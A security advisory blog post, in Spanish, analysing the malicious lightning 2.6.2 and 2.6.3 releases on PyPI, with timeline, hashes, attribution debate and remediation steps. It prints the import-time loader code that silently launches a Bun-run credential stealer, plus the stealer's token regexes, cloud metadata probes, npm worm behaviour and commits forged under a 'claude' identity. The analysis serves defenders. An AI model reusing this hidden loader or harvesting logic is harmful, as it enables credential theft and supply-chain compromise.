Skip to main content

Compromiso de lightning en PyPI: un ladrón de credenciales basado en Bun en Python

Escrito por

30 de abril de 2026

0 minutos de lectura

El 30 de abril de 2026, se publicaron dos versiones maliciosas del popular paquete lightning de PyPI, que afectaron al framework de aprendizaje profundo distribuido anteriormente como pytorch-lightning. Las versiones 2.6.2 y 2.6.3 incluyen un directorio oculto _runtime que descarga el entorno de ejecución JavaScript Bun desde GitHub al importarse y lo usa para ejecutar un ladrón de credenciales ofuscado de aproximadamente 11 MB. La última versión limpia es la 2.6.1, publicada el 30 de enero de 2026. Este patrón, en el que la versión publicada por un responsable del mantenimiento se reemplaza o amplía con código proporcionado por un atacante, es lo que Snyk Learn denomina compromiso de un paquete legítimo.

Para dimensionar el alcance: según pypistats.org, la distribución lightning registra 311,027 descargas al día, 2,051,273 a la semana y 7,913,890 al mes. El paquete heredado pytorch-lightning, que aún se puede instalar por separado, suma otras 436,296 descargas diarias. PyPI puso el proyecto en cuarentena; https://pypi.org/pypi/lightning/json devuelve HTTP 404, y la página del proyecto ahora incluye la etiqueta meta <meta name="pypi:project-status" content="quarantined">. La captura de Wayback Machine del 18 de febrero de 2026 conserva el estado previo al compromiso, con 2.6.1 como última versión disponible. El paquete heredado pytorch-lightning no se vio afectado y todavía apunta a su versión limpia 2.6.1.

Snyk publicó la alerta SNYK-PYTHON-LIGHTNING-16323121, que cubre ambas versiones comprometidas y está fechada como publicada el 30 de abril de 2026, divulgada el 29 de abril de 2026, crédito a Peter van der Zee, con una puntuación base CVSS 4.0 de 9.3 (Crítica) y CWE-506 (código malicioso integrado). No se asignó ningún CVE. Las versiones afectadas aparecen marcadas por snyk test y en la Base de datos de seguridad de Snyk.

Es el segundo día consecutivo en que se publica en un ecosistema de nivel 1 un ladrón basado en Bun con una carga útil ofuscada de aproximadamente 11 MB. Ayer, la campaña Mini Shai-Hulud en npm comprometió cuatro paquetes del ecosistema SAP con el mismo patrón de cargador de Bun más una carga útil ofuscada de gran tamaño. La carga útil de lightning es una variante de ese enfoque envuelta en Python: en lugar de traducir el ladrón JavaScript a Python nativo, los atacantes distribuyeron un descargador ligero de Python que obtiene Bun y ejecuta el mismo tipo de bloque JavaScript que se usó en la ola de npm.

Qué contiene el paquete malicioso

El wheel comprometido conserva los archivos legítimos de la biblioteca lightning, por lo que el framework sigue importándose y ejecutándose. Las adiciones maliciosas están en un directorio oculto _runtime dentro del wheel, con dos archivos clave:

  • start.py (SHA-256 8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2): un pequeño descargador de Python. Descarga Bun v1.3.13 desde https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/<platform>.zip y luego ejecuta la carga útil del ladrón en ese entorno de ejecución. La versión de Bun coincide con el cargador observado en la ola de npm de ayer, lo que constituye uno de los vínculos técnicos más directos entre ambos incidentes.

  • router_runtime.js (SHA-256 5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1): un archivo JavaScript ofuscado de aproximadamente 11 MB en una sola línea. La ofuscación utiliza rotación de arreglos de cadenas al estilo de javascript-obfuscator, con un cifrado secundario llamado __decodeScrambled() (PBKDF2/SHA-256, 200,000 iteraciones, sal ctf-scramble-v2). El nombre de la función, el algoritmo, la sal y la cantidad de iteraciones son idénticos a los del cifrado recuperado de los compromisos de Checkmarx y Bitwarden CLI ocurridos a principios de este año.

El wheel 2.6.3 en sí, lightning-2.6.3-py3-none-any.whl, tiene el SHA-256 56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb, según un archivo poetry.lock encontrado que capturó el hash antes de que PyPI pusiera el paquete en cuarentena. El wheel 2.6.2 se puso en cuarentena demasiado rápido para que se fijara ampliamente; no se ha encontrado ningún archivo de bloqueo público que registre su hash.

La ejecución se activa al importar el módulo. El archivo malicioso __init__.py agrega:

def _run_runtime() -> None:
    _runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
    _start = os.path.join(_runtime_dir, "start.py")
    if os.path.exists(_start):
        subprocess.Popen(
            [sys.executable, _start],
            cwd=_runtime_dir,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )

threading.Thread(target=_run_runtime, daemon=True).start()

Cuando un proceso de Python ejecuta import lightning, el subproceso en segundo plano invoca la carga útil iniciada por Bun con stdout y stderr suprimidos. No hay un comando aparte, ni un equivalente de postinstall, ni efectos secundarios visibles. Cualquier entorno que haya importado lightning==2.6.2 o lightning==2.6.3, incluido un comando puntual python -c "import lightning" en un notebook o un paso de CI que cargue el framework para leer su versión, debe considerarse expuesto.

La carga útil se ejecuta en tres etapas observables:

  1. Recopilación de credenciales mediante patrones regex para tokens OAuth/PAT de GitHub (/gh[op]_[A-Za-z0-9]{36,}/g), tokens de npm (/npm_[A-Za-z0-9]{36,}/g) y JWT de GitHub App (/ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g). También sondea servicios de metadatos en la nube en http://169.254.169.254 (AWS IMDS), http://169.254.170.2 (AWS ECS), https://oauth2.googleapis.com/tokeninfo, y valida los tokens recopilados en https://api.github.com/user y https://registry.npmjs.org/-/whoami.

  2. Envenenamiento de repositorios mediante la mutación createCommitOnBranch de GraphQL de GitHub, firmando commits como claude <claude@users.noreply.github.com> e incluyendo el texto Co-authored-by: para hacer pasar cambios maliciosos por actividad de Anthropic Claude Code. Entre los archivos que se agregan a los repositorios de las víctimas están .claude/router_runtime.js, .claude/settings.json, .claude/setup.mjs, .vscode/tasks.json, .vscode/setup.mjs y .github/workflows/format-check.yml.

  3. Rutas de código de gusano de tarballs de npm que modifican tarballs de paquetes locales en la máquina de un desarrollador, inyectan setup.mjs, aumentan la versión de parche y publican mediante una solicitud PUT directa a registry.npmjs.org sin invocar la CLI de npm. Es la misma lógica de autopropagación que Snyk documentó ayer en la ola Mini Shai-Hulud de npm.

El wheel malicioso no parece modificar la API pública de lightning, lo que coincide con el interés del atacante en mantener el paquete instalable e importable el mayor tiempo posible antes de que se retire.

Cómo llegaron los wheels maliciosos a PyPI

El flujo de trabajo release-pkg.yml del proyecto lightning publica en PyPI mediante un token de API almacenado y de larga duración (secrets.PYPI_TOKEN_LIGHTNING), a través de pypa/gh-action-pypi-publish configurado con user: __token__. El proyecto no tiene configurado PyPI Trusted Publisher (OIDC). Una rama independiente fix_package_publishing del 19 de marzo, que nunca se integró, eliminaba explícitamente permissions: id-token: write del paso de publicación.

Esto es importante porque casi con certeza la vía de publicación que distribuyó los wheels maliciosos fue el propio token almacenado, no el flujo de trabajo de GitHub Actions. Dos pruebas respaldan esta conclusión:

  • La etiqueta git 2.6.2 existe en Lightning-AI/pytorch-lightning y fue creada el 19 de marzo por justusschock, pero la ejecución correspondiente del flujo de trabajo release-pkg falló en el paso publish-packages. El issue #21681 (presentado el 20 de abril, "Falta la versión 2.6.2 en PyPI") confirma que la versión 2.6.2 no estuvo en PyPI durante las seis semanas siguientes.

  • La etiqueta git 2.6.3 ni siquiera existe. No hay refs/tags/2.6.3, ni una versión de GitHub, ni una ejecución de flujo de trabajo asociada con esa versión. Sin embargo, hoy se publicó en PyPI un wheel de lightning==2.6.3.

La explicación más sencilla es que el atacante tenía PYPI_TOKEN_LIGHTNING (de larga duración, sin vinculación de audiencia ni aprobación por publicación) y subió ambos wheels directamente a PyPI con twine o un cliente equivalente, sin pasar por el flujo de trabajo de GitHub Actions. La ausencia de la versión 2.6.2 en PyPI durante seis semanas sirvió de cobertura: un desarrollador que esperara la versión 2.6.2, retrasada por mucho tiempo, no tendría motivos evidentes para sospechar. Es el mismo patrón estructural documentado ayer en el PR posterior al incidente de SAP sobre cap-js/cds-dbs, donde el flujo de trabajo de publicación tenía permisos para publicar sin un paso de aprobación manual.

Cómo se desarrolló la divulgación en GitHub

La cronología de la divulgación es inusualmente visible porque el feed events/public de la cuenta de servicio del equipo de mantenimiento, que ocultaba los issues entrantes, seguía expuesto.

La cuenta de GitHub pl-ghost (creada el 2020-12-01T15:50:40Z, con el campo de empresa "PyTorchLightning & Grid.ai") es una cuenta de servicio de CI de larga trayectoria, no una cuenta de desarrollador. Sus 40 commits anteriores en Lightning-AI/pytorch-lightning siguen un patrón rutinario ("Adding test for legacy checkpoint created with X.Y.Z" o "docs: update ref to latest tutorials"), y su token de acceso personal PAT_GHOST se menciona en release-pkg.yml para enviar actualizaciones entre repositorios a gridai/base-images después de cada versión. Por diseño, el token de la cuenta tiene acceso de escritura entre repositorios para esos pasos automatizados.

Hoy, entre las 12:40Z y las 14:12Z, cuatro miembros de la comunidad presentaron issues de divulgación en Lightning-AI/pytorch-lightning y pl-ghost cerró cada uno en cuestión de minutos. La secuencia completa, tomada del feed /users/pl-ghost/events/public:

Marca de tiempo ISO

Acción

Detalle

2026-04-30T12:40:28Z

Crear / eliminar rama

pgzicpysge en Lightning-AI/litAI

2026-04-30T12:42:57Z

Crear / eliminar rama

hwofzwmrto en Lightning-AI/utilities

2026-04-30T13:13:57Z

Issue presentado

#21689 por nullcharb, "Posible ataque a la cadena de suministro en la versión 2.6.3"

2026-04-30T13:27:01Z

Issue cerrado

#21689 cerrado por pl-ghost

2026-04-30T13:32:35Z

Issue presentado

#21690 por pvdz, "Parece que lighting fue comprometido, ¿tal vez shai hulud?"

2026-04-30T13:34:54Z

Crear / eliminar rama

uwpkpcguba en Lightning-AI/litAI

2026-04-30T13:43:57Z

Crear / eliminar rama

dependabot/fix-deds en Lightning-AI/torchmetrics

2026-04-30T13:47:23Z

Issue cerrado

#21690 cerrado por pl-ghost

2026-04-30T13:59:28Z

Issue presentado

#21691 por pvdz, "Se comprometieron 2.6.2 y 2.6.3, probablemente shai; ¿también se comprometió pl-ghost?"

2026-04-30T14:00:49Z

Issue cerrado

#21691 cerrado por pl-ghost

2026-04-30T14:07:09Z

Issue presentado

#21692 por pvdz, "por favor, presten atención"

2026-04-30T14:08:29Z

Issue cerrado

#21692 cerrado por pl-ghost

2026-04-30T14:11:38Z

Issue cerrado

#21691 cerrado de nuevo

2026-04-30T14:11:48Z

Comentario

Responsable del mantenimiento ethanwharris: "Hola @pvdz, gracias por avisarnos. Estamos al tanto del problema y lo investigamos activamente. Pronto compartiremos una actualización."

2026-04-30T14:12:25Z

Issue cerrado

#21691 cerrado por tercera vez

Algunos detalles de esta secuencia llaman la atención:

  • Las cuatro ramas aleatorias (pgzicpysge, hwofzwmrto, uwpkpcguba y dependabot/fix-deds) siguen un patrón de 10 caracteres en minúsculas asociado anteriormente con el sondeo de acceso de escritura al estilo gusano de Shai-Hulud. Las cinco ramas se eliminaron en cuestión de segundos y no activaron ejecuciones de flujos de trabajo, lo que sugiere que la protección de ramas en las ramas predeterminadas bloqueó los envíos directos.

  • La rama dependabot/fix-deds usa una barra como separador y un segmento «deds» que no coincide con la configuración real de Dependabot de Lightning-AI (que usa un prefijo con guion para los envíos legítimos de Dependabot), por lo que el nombre de la rama no corresponde a un envío legítimo de Dependabot para este repositorio.

  • El issue #21692 fue presentado por pvdz después de ver cómo cerraban tres issues seguidos. El texto completo dice: "@Borda @williamFalcon @awaelchli ve https://github.com/Lightning-AI/pytorch-lightning/issues/21691. El atacante cierra los issues automáticamente." pvdz es Peter van der Zee, ingeniero en Socket y la persona reconocida en el aviso de Snyk; presentó directamente tres de los cuatro issues de divulgación.

  • El issue #21691 se cerró tres veces y luego el maintainer ethanwharris lo volvió a abrir en otras tres ocasiones. Lightning-AI, como administrador de la organización, eliminó varios comentarios del hilo, algo coherente con que los maintainers moderaran contenido publicado por la cuenta presuntamente comprometida. El issue sigue abierto al momento de escribir esto.

El cierre de los hilos de divulgación, los patrones de creación de ramas asociados anteriormente con el gusano de npm y el nombre de rama con formato de Dependabot son coherentes con el uso de un mismo conjunto de credenciales comprometidas tanto para publicar en PyPI como para actuar en el repositorio de GitHub. El acceso mediante credenciales de maintainer es un patrón recurrente en los ataques a la cadena de suministro de código abierto que Snyk ya ha cubierto, incluidos la ola de compromisos de maintainers de npm y el compromiso de PyPI de elementary-data, que apuntó a credenciales de ingeniería de datos.

Un dato aparte: el hilo del issue en GitHub también incluía un enlace onion a un sitio con la marca Team PCP, que publica un mensaje firmado con PGP en el que afirma tener vínculos con LAPSUS$ y con actividades de extorsión anteriores. La firma PGP no se ha verificado de forma independiente y las afirmaciones subyacentes no están confirmadas. La misma marca de Team PCP apareció en otro compromiso de PyPI que Snyk siguió a principios de este año: la puerta trasera de litellm del 24 de marzo de 2026. También hay contraevidencia importante en la cronología: durante el compromiso de PyPI de xinference del 22 de abril, la cuenta de Team PCP en X negó públicamente su participación y señaló que alguien estaba imitando la marca. Hoy, distintos proveedores discrepan sobre la atribución del ataque a lightning: Wiz evalúa con alta confianza que la campaña más amplia corresponde al mismo operador (y cita una clave pública RSA compartida que se usó para cifrar secretos exfiltrados); Aikido presenta este ataque como una continuación de «Mini Shai-Hulud», y Socket lo atribuye a un actor distinto que emplea una estrategia similar. Sigue sin estar claro si la conexión es real, oportunista o una operación de falsa bandera deliberada.

Por qué importa «Bun en Python»

El detalle forense más revelador es la elección del entorno de ejecución. La carga útil que se ejecuta después de import lightning está escrita en JavaScript y se ejecuta con Bun en la máquina de un desarrollador de Python. Un ladrón de credenciales dirigido a Python no necesita un entorno de ejecución de JavaScript, y empaquetar Bun aumenta considerablemente el tamaño del wheel. La explicación más sencilla es la reutilización de la carga útil: el mismo ladrón de credenciales con estilo router_runtime.js que la variante Mini Shai-Hulud ejecutó ayer dentro de los hooks preinstall de npm ahora se distribuye en proyectos de Python mediante un pequeño wrapper de Python que inicia Bun y el blob de JS. La firma de cifrado en router_runtime.js (nombre de función __decodeScrambled, PBKDF2/SHA-256 con 200,000 iteraciones y salt ctf-scramble-v2) es idéntica a la de las cargas útiles de SAP execution.js, Bitwarden CLI y Checkmarx KICS, lo que apunta a herramientas compartidas y no a una implementación independiente.

Esto concuerda con la evolución más amplia de Shai-Hulud. El gusano Shai-Hulud original de septiembre de 2025, la ola posterior SHA1-Hulud de noviembre de 2025, que afectó a más de 600 paquetes, la variante Holiday Whisper / Shai-Hulud 3.0 de fin de año y el análisis retrospectivo de Snyk sobre las lecciones de resiliencia apuntan a la misma capacidad subyacente: un ladrón de JavaScript tipo gusano que recopila tokens, los valida en registry.npmjs.org y usa cualquier permiso de escritura en npm que encuentre para propagarse.

Shai-Hulud NPM Attack: Remediation with Snyk


Ataque Shai-Hulud a NPM: cómo remediarlo con Snyk. Guía breve para identificar y remediar dependencias afectadas por Shai-Hulud con snyk test y la Snyk Security Database.

El compromiso de lightning extiende esa capacidad a PyPI sin reescribir el ladrón de credenciales. Envolver una carga útil de JavaScript en un cargador de Python conserva las herramientas del ecosistema JS y, a la vez, amplía su alcance a otros registros. La secuencia de las últimas 48 horas es coherente con esa interpretación: ayer npm, hoy PyPI, con la misma estructura de carga útil y un tiempo de detección comparable.

Acciones recomendadas

Considera comprometido cualquier sistema que haya instalado e importado lightning==2.6.2 o lightning==2.6.3. La cadena de ejecución se activa al importar el paquete, no solo al instalarlo, así que basta con importarlo para activar la carga útil.

  1. Fija las versiones vulnerables o elimínalas. Bloquea lightning==2.6.2 y lightning==2.6.3 en los mirrors de tu registro y vuelve a lightning==2.6.1 (versión segura publicada el 30 de enero de 2026). No actualices a una versión posterior a 2.6.1 hasta que los maintainers publiquen una versión confirmada como segura.

  2. Rota las credenciales accesibles desde el entorno afectado. Tokens de acceso personal de GitHub, tokens de GitHub con permisos detallados, tokens de npm, claves de proveedores de nube (AWS, GCP, Azure) y cualquier secreto presente en las variables de entorno del host afectado. Rótalas desde otra máquina de confianza.

  3. Audita GitHub para detectar commits no autorizados. La carga útil realiza commits en los repositorios de las víctimas con la identidad falsificada claude <claude@users.noreply.github.com>. Revisa la actividad del repositorio para encontrar commits de ese autor, creación de ramas o cambios en archivos de workflows en cualquier cuenta cuyos tokens hayan quedado expuestos.

  4. Audita los registros de CI/CD y las máquinas de los desarrolladores. Busca conexiones salientes a https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/, procesos bun inesperados, llamadas a http://169.254.169.254 o http://169.254.170.2 desde máquinas que no deberían consultar metadatos de la nube, y nuevos hilos daemon iniciados por intérpretes de Python que hayan importado lightning durante el período afectado.

  5. Revisa los tarballs de npm en las máquinas de los desarrolladores. La carga útil incluye código capaz de modificar paquetes locales de npm y publicarlos en registry.npmjs.org sin invocar la CLI de npm. Si una máquina de un desarrollador tenía credenciales de npm disponibles e importó lightning, considera expuesto el token de npm y audita las publicaciones recientes de las cuentas asociadas con esa máquina.

  6. Busca repositorios de entrega en GitHub. En la campaña más amplia, la exfiltración se dirige a repositorios públicos propiedad de las cuentas de las víctimas, con la descripción "A Mini Shai-Hulud has Appeared" y mensajes de commit que comienzan con OhNoWhatsGoingOnWithGitHub:. La búsqueda https://github.com/search?q=%22A+Mini+Shai-Hulud+has+Appeared%22&type=repositories muestra los repositorios activos.

  7. Revisa los hallazgos de Snyk. Ejecuta snyk test en los proyectos afectados; el aviso SNYK-PYTHON-LIGHTNING-16323121 identifica directamente ambas versiones maliciosas.

Qué nos dice esto sobre el modelo de amenazas

Algunas observaciones sobre este incidente, más allá de las tareas inmediatas de limpieza.

Las herramientas de los atacantes se reutilizan a un ritmo más rápido del que pueden responder las retiradas de los registros. El análisis automatizado detectó las versiones maliciosas de lightning unos 18 minutos después de su publicación, mientras el paquete seguía disponible para instalarse y el hilo de divulgación en GitHub ya se había cerrado. La diferencia de 24 horas entre la campaña SAP CAP de npm de ayer y la publicación de lightning en PyPI de hoy es coherente tanto con la actividad de un mismo operador que va de un registro a otro como con la de un imitador que reutiliza la misma carga útil mientras siga funcionando.

La reutilización de cargas útiles entre ecosistemas mediante entornos de ejecución integrados es un patrón recurrente. Snyk ha cubierto dos veces en la última semana variantes de npm que combinan un cargador de Bun con una carga útil grande y ofuscada, y ahora también una variante en PyPI. La conclusión estructural es que el robo de credenciales subyacente, el abuso de repositorios de GitHub y la lógica de autopropagación en npm son los mismos, sin importar qué registro distribuyó el wheel; tratar el compromiso de cada registro como una respuesta independiente pasa por alto la superficie compartida tras la explotación.

El modo de falla en la ruta de publicación ya está claro. Un token de API de PyPI de larga duración guardado en los secretos de GitHub Actions, sin vinculación con Trusted Publisher ni una etapa de aprobación manual, permite que un incidente de robo de credenciales en cualquier host de desarrollador o CI con acceso a ese secreto se convierta en un compromiso del registro, sin necesidad de tocar el workflow legítimo. Tanto este incidente como el compromiso de SAP cap-js apuntan a la misma solución: vinculación OIDC con Trusted Publisher, identidades separadas para la administración de repositorios y la publicación en el registro, y aprobación explícita de una persona antes de que las versiones lleguen al registro. El análisis retrospectivo de Snyk sobre la resiliencia ante Shai-Hulud abarca el conjunto más amplio de controles. Snyk sigue monitoreando la evolución más amplia de Shai-Hulud y los incidentes relacionados con la cadena de suministro en la Snyk Vulnerability Database; el aviso activo de lightning se actualizará a medida que se desofusque por completo la carga útil y se confirmen indicadores de compromiso adicionales.

Empieza a proteger tus aplicaciones de Python

Encuentra y corrige vulnerabilidades en Python gratis con Snyk.

No se requiere tarjeta de crédito.

O regístrate con Azure AD Docker ID Bitbucket

Al usar Snyk, aceptas cumplir nuestras políticas, incluidos nuestros Términos del servicio y nuestra Política de privacidad.